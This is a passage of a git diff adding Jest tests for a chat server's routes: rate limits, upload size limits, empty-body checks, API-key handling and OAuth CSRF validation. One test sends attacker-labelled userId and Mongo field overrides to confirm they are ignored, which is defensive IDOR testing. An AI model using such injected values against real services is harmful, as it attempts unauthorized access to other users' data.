+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+
+jest.mock('~/server/middleware', () => {
+ const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
+ return {
+ createImportLimiters: jest.fn(() => ({
+ importIpLimiter: (req, res, next) => next(),
+ importUserLimiter: (req, res, next) => next(),
+ })),
+ createForkLimiters,
+ configMiddleware: (req, res, next) => next(),
+ validateConvoAccess: (req, res, next) => next(),
+ };
+});
+
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
+
+describe('POST /api/convos/duplicate - Rate Limiting', () => {
+ let app;
+ let duplicateConversation;
+ const savedEnv = {};
+
+ beforeAll(() => {
+ savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
+ savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
+ savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
+ savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
+ });
+
+ afterAll(() => {
+ for (const key of Object.keys(savedEnv)) {
+ if (savedEnv[key] === undefined) {
+ delete process.env[key];
+ } else {
+ process.env[key] = savedEnv[key];
+ }
+ }
+ });
+
+ const setupApp = () => {
+ jest.clearAllMocks();
+ jest.isolateModules(() => {
+ const convosRouter = require('../convos');
+ ({ duplicateConversation } = require('~/server/utils/import/fork'));
+
+ app = express();
+ app.use(express.json());
+ app.use((req, res, next) => {
+ req.user = { id: 'rate-limit-test-user' };
+ next();
+ });
+ app.use('/api/convos', convosRouter);
+ });
+
+ duplicateConversation.mockResolvedValue({
+ conversation: { conversationId: 'duplicated-conv' },
+ });
+ };
+
+ describe('user limit', () => {
+ beforeEach(() => {
+ process.env.FORK_USER_MAX = '2';
+ process.env.FORK_USER_WINDOW = '1';
+ process.env.FORK_IP_MAX = '100';
+ process.env.FORK_IP_WINDOW = '1';
+ setupApp();
+ });
+
+ it('should return 429 after exceeding the user rate limit', async () => {
+ const userMax = parseInt(process.env.FORK_USER_MAX, 10);
+
+ for (let i = 0; i < userMax; i++) {
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(201);
+ }
+
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(429);
+ expect(res.body.message).toMatch(/too many/i);
+ });
+ });
+
+ describe('IP limit', () => {
+ beforeEach(() => {
+ process.env.FORK_USER_MAX = '100';
+ process.env.FORK_USER_WINDOW = '1';
+ process.env.FORK_IP_MAX = '2';
+ process.env.FORK_IP_WINDOW = '1';
+ setupApp();
+ });
+
+ it('should return 429 after exceeding the IP rate limit', async () => {
+ const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
+
+ for (let i = 0; i < ipMax; i++) {
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(201);
+ }
+
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(429);
+ expect(res.body.message).toMatch(/too many/i);
+ });
+ });
+});
diff --git a/api/server/routes/__tests__/convos-import.spec.js b/api/server/routes/__tests__/convos-import.spec.js
new file mode 100644
index 0000000000..c4ea139931
--- /dev/null
+++ b/api/server/routes/__tests__/convos-import.spec.js
@@ -0,0 +1,98 @@
+const express = require('express');
+const request = require('supertest');
+const multer = require('multer');
+
+const importFileFilter = (req, file, cb) => {
+ if (file.mimetype === 'application/json') {
+ cb(null, true);
+ } else {
+ cb(new Error('Only JSON files are allowed'), false);
+ }
+};
+
+/** Proxy app that mirrors the production multer + error-handling pattern */
+function createImportApp(fileSize) {
+ const app = express();
+ const upload = multer({
+ storage: multer.memoryStorage(),
+ fileFilter: importFileFilter,
+ limits: { fileSize },
+ });
+ const uploadSingle = upload.single('file');
+
+ function handleUpload(req, res, next) {
+ uploadSingle(req, res, (err) => {
+ if (err && err.code === 'LIMIT_FILE_SIZE') {
+ return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+ }
+ if (err) {
+ return next(err);
+ }
+ next();
+ });
+ }
+
+ app.post('/import', handleUpload, (req, res) => {
+ res.status(201).json({ message: 'success', size: req.file.size });
+ });
+
+ app.use((err, _req, res, _next) => {
+ res.status(400).json({ error: err.message });
+ });
+
+ return app;
+}
+
+describe('Conversation Import - Multer File Size Limits', () => {
+ describe('multer rejects files exceeding the configured limit', () => {
+ it('returns 413 for files larger than the limit', async () => {
+ const limit = 1024;
+ const app = createImportApp(limit);
+ const oversized = Buffer.alloc(limit + 512, 'x');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(413);
+ expect(res.body.message).toBe('File exceeds the maximum allowed size');
+ });
+
+ it('accepts files within the limit', async () => {
+ const limit = 4096;
+ const app = createImportApp(limit);
+ const valid = Buffer.from(JSON.stringify({ title: 'test' }));
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(201);
+ expect(res.body.message).toBe('success');
+ });
+
+ it('rejects at the exact boundary (limit + 1 byte)', async () => {
+ const limit = 512;
+ const app = createImportApp(limit);
+ const boundary = Buffer.alloc(limit + 1, 'a');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(413);
+ });
+
+ it('accepts a file just under the limit', async () => {
+ const limit = 512;
+ const app = createImportApp(limit);
+ const underLimit = Buffer.alloc(limit - 1, 'b');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(201);
+ });
+ });
+});
diff --git a/api/server/routes/__tests__/convos.spec.js b/api/server/routes/__tests__/convos.spec.js
index ef11b3cbbb..3bdeac32db 100644
--- a/api/server/routes/__tests__/convos.spec.js
+++ b/api/server/routes/__tests__/convos.spec.js
@@ -1,109 +1,24 @@
const express = require('express');
const request = require('supertest');
-jest.mock('@librechat/agents', () => ({
- sleep: jest.fn(),
-}));
+const MOCKS = '../__test-utils__/convos-route-mocks';
-jest.mock('@librechat/api', () => ({
- isEnabled: jest.fn(),
- createAxiosInstance: jest.fn(() => ({
- get: jest.fn(),
- post: jest.fn(),
- put: jest.fn(),
- delete: jest.fn(),
- })),
- logAxiosError: jest.fn(),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: {
- debug: jest.fn(),
- info: jest.fn(),
- warn: jest.fn(),
- error: jest.fn(),
- },
- createModels: jest.fn(() => ({
- User: {},
- Conversation: {},
- Message: {},
- SharedLink: {},
- })),
-}));
-
-jest.mock('~/models/Conversation', () => ({
- getConvosByCursor: jest.fn(),
- getConvo: jest.fn(),
- deleteConvos: jest.fn(),
- saveConvo: jest.fn(),
-}));
-
-jest.mock('~/models/ToolCall', () => ({
- deleteToolCalls: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- deleteAllSharedLinks: jest.fn(),
- deleteConvoSharedLink: jest.fn(),
-}));
-
-jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
-
-jest.mock('~/server/middleware', () => ({
- createImportLimiters: jest.fn(() => ({
- importIpLimiter: (req, res, next) => next(),
- importUserLimiter: (req, res, next) => next(),
- })),
- createForkLimiters: jest.fn(() => ({
- forkIpLimiter: (req, res, next) => next(),
- forkUserLimiter: (req, res, next) => next(),
- })),
- configMiddleware: (req, res, next) => next(),
- validateConvoAccess: (req, res, next) => next(),
-}));
-
-jest.mock('~/server/utils/import/fork', () => ({
- forkConversation: jest.fn(),
- duplicateConversation: jest.fn(),
-}));
-
-jest.mock('~/server/utils/import', () => ({
- importConversations: jest.fn(),
-}));
-
-jest.mock('~/cache/getLogStores', () => jest.fn());
-
-jest.mock('~/server/routes/files/multer', () => ({
- storage: {},
- importFileFilter: jest.fn(),
-}));
-
-jest.mock('multer', () => {
- return jest.fn(() => ({
- single: jest.fn(() => (req, res, next) => {
- req.file = { path: '/tmp/test-file.json' };
- next();
- }),
- }));
-});
-
-jest.mock('librechat-data-provider', () => ({
- CacheKeys: {
- GEN_TITLE: 'GEN_TITLE',
- },
- EModelEndpoint: {
- azureAssistants: 'azureAssistants',
- assistants: 'assistants',
- },
-}));
-
-jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
- initializeClient: jest.fn(),
-}));
-
-jest.mock('~/server/services/Endpoints/assistants', () => ({
- initializeClient: jest.fn(),
-}));
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api());
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
describe('Convos Routes', () => {
let app;
@@ -385,6 +300,40 @@ describe('Convos Routes', () => {
expect(deleteConvoSharedLink).not.toHaveBeenCalled();
});
+ it('should return 400 when request body is empty (DoS prevention)', async () => {
+ const response = await request(app).delete('/api/convos').send({});
+
+ expect(response.status).toBe(400);
+ expect(response.body).toEqual({ error: 'no parameters provided' });
+ expect(deleteConvos).not.toHaveBeenCalled();
+ });
+
+ it('should return 400 when arg is null (DoS prevention)', async () => {
+ const response = await request(app).delete('/api/convos').send({ arg: null });
+
+ expect(response.status).toBe(400);
+ expect(response.body).toEqual({ error: 'no parameters provided' });
+ expect(deleteConvos).not.toHaveBeenCalled();
+ });
+
+ it('should return 400 when arg is undefined (DoS prevention)', async () => {
+ const response = await request(app).delete('/api/convos').send({ arg: undefined });
+
+ expect(response.status).toBe(400);
+ expect(response.body).toEqual({ error: 'no parameters provided' });
+ expect(deleteConvos).not.toHaveBeenCalled();
+ });
+
+ it('should return 400 when request body is null (DoS prevention)', async () => {
+ const response = await request(app)
+ .delete('/api/convos')
+ .set('Content-Type', 'application/json')
+ .send('null');
+
+ expect(response.status).toBe(400);
+ expect(deleteConvos).not.toHaveBeenCalled();
+ });
+
it('should return 500 if deleteConvoSharedLink fails', async () => {
const mockConversationId = 'conv-error';
diff --git a/api/server/routes/__tests__/keys.spec.js b/api/server/routes/__tests__/keys.spec.js
new file mode 100644
index 0000000000..0c96dd3bcb
--- /dev/null
+++ b/api/server/routes/__tests__/keys.spec.js
@@ -0,0 +1,174 @@
+const express = require('express');
+const request = require('supertest');
+
+jest.mock('~/models', () => ({
+ updateUserKey: jest.fn(),
+ deleteUserKey: jest.fn(),
+ getUserKeyExpiry: jest.fn(),
+}));
+
+jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
+
+jest.mock('~/server/middleware', () => ({
+ requireJwtAuth: (req, res, next) => next(),
+}));
+
+describe('Keys Routes', () => {
+ let app;
+ const { updateUserKey, deleteUserKey, getUserKeyExpiry } = require('~/models');
+
+ beforeAll(() => {
+ const keysRouter = require('../keys');
+
+ app = express();
+ app.use(express.json());
+
+ app.use((req, res, next) => {
+ req.user = { id: 'test-user-123' };
+ next();
+ });
+
+ app.use('/api/keys', keysRouter);
+ });
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ describe('PUT /', () => {
+ it('should update a user key with the authenticated user ID', async () => {
+ updateUserKey.mockResolvedValue({});
+
+ const response = await request(app)
+ .put('/api/keys')
+ .send({ name: 'openAI', value: 'sk-test-key-123', expiresAt: '2026-12-31' });
+
+ expect(response.status).toBe(201);
+ expect(updateUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'openAI',
+ value: 'sk-test-key-123',
+ expiresAt: '2026-12-31',
+ });
+ expect(updateUserKey).toHaveBeenCalledTimes(1);
+ });
+
+ it('should not allow userId override via request body (IDOR prevention)', async () => {
+ updateUserKey.mockResolvedValue({});
+
+ const response = await request(app).put('/api/keys').send({
+ userId: 'attacker-injected-id',
+ name: 'openAI',
+ value: 'sk-attacker-key',
+ });
+
+ expect(response.status).toBe(201);
+ expect(updateUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'openAI',
+ value: 'sk-attacker-key',
+ expiresAt: undefined,
+ });
+ });
+
+ it('should ignore extraneous fields from request body', async () => {
+ updateUserKey.mockResolvedValue({});
+
+ const response = await request(app).put('/api/keys').send({
+ name: 'openAI',
+ value: 'sk-test-key',
+ expiresAt: '2026-12-31',
+ _id: 'injected-mongo-id',
+ __v: 99,
+ extra: 'should-be-ignored',
+ });
+
+ expect(response.status).toBe(201);
+ expect(updateUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'openAI',
+ value: 'sk-test-key',
+ expiresAt: '2026-12-31',
+ });
+ });
+
+ it('should handle missing optional fields', async () => {
+ updateUserKey.mockResolvedValue({});
+
+ const response = await request(app)
+ .put('/api/keys')
+ .send({ name: 'anthropic', value: 'sk-ant-key' });
+
+ expect(response.status).toBe(201);
+ expect(updateUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'anthropic',
+ value: 'sk-ant-key',
+ expiresAt: undefined,
+ });
+ });
+
+ it('should return 400 when request body is null', async () => {
+ const response = await request(app)
+ .put('/api/keys')
+ .set('Content-Type', 'application/json')
+ .send('null');
+
+ expect(response.status).toBe(400);
+ expect(updateUserKey).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('DELETE /:name', () => {
+ it('should delete a user key by name', async () => {
+ deleteUserKey.mockResolvedValue({});
+
+ const response = await request(app).delete('/api/keys/openAI');
+
+ expect(response.status).toBe(204);
+ expect(deleteUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'openAI',
+ });
+ expect(deleteUserKey).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('DELETE /', () => {
+ it('should delete all keys when all=true', async () => {
+ deleteUserKey.mockResolvedValue({});
+
+ const response = await request(app).delete('/api/keys?all=true');
+
+ expect(response.status).toBe(204);
+ expect(deleteUserKey).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ all: true,
+ });
+ });
+
+ it('should return 400 when all query param is not true', async () => {
+ const response = await request(app).delete('/api/keys');
+
+ expect(response.status).toBe(400);
+ expect(response.body).toEqual({ error: 'Specify either all=true to delete.' });
+ expect(deleteUserKey).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('GET /', () => {
+ it('should return key expiry for a given key name', async () => {
+ const mockExpiry = { expiresAt: '2026-12-31' };
+ getUserKeyExpiry.mockResolvedValue(mockExpiry);
+
+ const response = await request(app).get('/api/keys?name=openAI');
+
+ expect(response.status).toBe(200);
+ expect(response.body).toEqual(mockExpiry);
+ expect(getUserKeyExpiry).toHaveBeenCalledWith({
+ userId: 'test-user-123',
+ name: 'openAI',
+ });
+ });
+ });
+});
diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js
index 26d7988f0a..1ad8cac087 100644
--- a/api/server/routes/__tests__/mcp.spec.js
+++ b/api/server/routes/__tests__/mcp.spec.js
@@ -1,8 +1,18 @@
+const crypto = require('crypto');
const express = require('express');
const request = require('supertest');
const mongoose = require('mongoose');
-const { MongoMemoryServer } = require('mongodb-memory-server');
+const cookieParser = require('cookie-parser');
const { getBasePath } = require('@librechat/api');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+function generateTestCsrfToken(flowId) {
+ return crypto
+ .createHmac('sha256', process.env.JWT_SECRET)
+ .update(flowId)
+ .digest('hex')
+ .slice(0, 32);
+}
const mockRegistryInstance = {
getServerConfig: jest.fn(),
@@ -22,6 +32,9 @@ jest.mock('@librechat/api', () => {
getFlowState: jest.fn(),
completeOAuthFlow: jest.fn(),
generateFlowId: jest.fn(),
+ resolveStateToFlowId: jest.fn(async (state) => state),
+ storeStateMapping: jest.fn(),
+ deleteStateMapping: jest.fn(),
},
MCPTokenStorage: {
storeTokens: jest.fn(),
@@ -130,6 +143,7 @@ describe('MCP Routes', () => {
app = express();
app.use(express.json());
+ app.use(cookieParser());
app.use((req, res, next) => {
req.user = { id: 'test-user-id' };
@@ -168,12 +182,15 @@ describe('MCP Routes', () => {
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
authorizationUrl: 'https://oauth.example.com/auth',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
+ flowMetadata: { state: 'random-state-value' },
});
+ MCPOAuthHandler.storeStateMapping.mockResolvedValue();
+ mockFlowManager.initFlow = jest.fn().mockResolvedValue();
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
});
expect(response.status).toBe(302);
@@ -190,7 +207,7 @@ describe('MCP Routes', () => {
it('should return 403 when userId does not match authenticated user', async () => {
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'different-user-id',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
});
expect(response.status).toBe(403);
@@ -228,7 +245,7 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
});
expect(response.status).toBe(400);
@@ -245,7 +262,7 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
});
expect(response.status).toBe(500);
@@ -255,7 +272,7 @@ describe('MCP Routes', () => {
it('should return 400 when flow state metadata is null', async () => {
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue({
- id: 'test-flow-id',
+ id: 'test-user-id:test-server',
metadata: null,
}),
};
@@ -265,7 +282,7 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
- flowId: 'test-flow-id',
+ flowId: 'test-user-id:test-server',
});
expect(response.status).toBe(400);
@@ -280,7 +297,7 @@ describe('MCP Routes', () => {
it('should redirect to error page when OAuth error is received', async () => {
const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
error: 'access_denied',
- state: 'test-flow-id',
+ state: 'test-user-id:test-server',
});
const basePath = getBasePath();
@@ -290,7 +307,7 @@ describe('MCP Routes', () => {
it('should redirect to error page when code is missing', async () => {
const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- state: 'test-flow-id',
+ state: 'test-user-id:test-server',
});
const basePath = getBasePath();
@@ -308,19 +325,169 @@ describe('MCP Routes', () => {
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=missing_state`);
});
- it('should redirect to error page when flow state is not found', async () => {
- MCPOAuthHandler.getFlowState.mockResolvedValue(null);
-
+ it('should redirect to error page when CSRF cookie is missing', async () => {
const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
code: 'test-auth-code',
- state: 'invalid-flow-id',
+ state: 'test-user-id:test-server',
});
const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should redirect to error page when CSRF cookie does not match state', async () => {
+ const csrfToken = generateTestCsrfToken('different-flow-id');
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: 'test-user-id:test-server',
+ });
+ const basePath = getBasePath();
+
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should redirect to error page when flow state is not found', async () => {
+ MCPOAuthHandler.getFlowState.mockResolvedValue(null);
+ const flowId = 'invalid-flow:id';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
+ const basePath = getBasePath();
+
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
});
+ describe('CSRF fallback via active PENDING flow', () => {
+ it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'PENDING',
+ createdAt: Date.now(),
+ }),
+ completeFlow: jest.fn().mockResolvedValue(true),
+ deleteFlow: jest.fn().mockResolvedValue(true),
+ };
+ const mockFlowState = {
+ serverName: 'test-server',
+ userId: 'test-user-id',
+ metadata: {},
+ clientInfo: {},
+ codeVerifier: 'test-verifier',
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+ MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
+ MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
+ access_token: 'test-token',
+ });
+ MCPTokenStorage.storeTokens.mockResolvedValue();
+ mockRegistryInstance.getServerConfig.mockResolvedValue({});
+
+ const mockMcpManager = {
+ getUserConnection: jest.fn().mockResolvedValue({
+ fetchTools: jest.fn().mockResolvedValue([]),
+ }),
+ };
+ require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
+ require('~/config').getOAuthReconnectionManager.mockReturnValue({
+ clearReconnection: jest.fn(),
+ });
+ require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toContain(`${basePath}/oauth/success`);
+ });
+
+ it('should reject when no PENDING flow exists and no cookies are present', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue(null),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'COMPLETED',
+ createdAt: Date.now(),
+ }),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'PENDING',
+ createdAt: Date.now() - 3 * 60 * 1000,
+ }),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+ });
+
it('should handle OAuth callback successfully', async () => {
// mockRegistryInstance is defined at the top of the file
const mockFlowManager = {
@@ -369,16 +536,22 @@ describe('MCP Routes', () => {
});
setCachedTools.mockResolvedValue();
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`);
expect(MCPOAuthHandler.completeOAuthFlow).toHaveBeenCalledWith(
- 'test-flow-id',
+ flowId,
'test-auth-code',
mockFlowManager,
{},
@@ -400,16 +573,24 @@ describe('MCP Routes', () => {
'mcp_oauth',
mockTokens,
);
- expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens');
+ expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith(
+ 'test-user-id:test-server',
+ 'mcp_get_tokens',
+ );
});
it('should redirect to error page when callback processing fails', async () => {
MCPOAuthHandler.getFlowState.mockRejectedValue(new Error('Callback error'));
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
@@ -442,15 +623,21 @@ describe('MCP Routes', () => {
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`);
- expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens');
+ expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith(flowId, 'mcp_get_tokens');
});
it('should handle reconnection failure after OAuth', async () => {
@@ -488,16 +675,22 @@ describe('MCP Routes', () => {
getCachedTools.mockResolvedValue({});
setCachedTools.mockResolvedValue();
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`);
expect(MCPTokenStorage.storeTokens).toHaveBeenCalled();
- expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens');
+ expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith(flowId, 'mcp_get_tokens');
});
it('should redirect to error page if token storage fails', async () => {
@@ -530,10 +723,16 @@ describe('MCP Routes', () => {
};
require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
@@ -589,22 +788,27 @@ describe('MCP Routes', () => {
clearReconnection: jest.fn(),
});
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
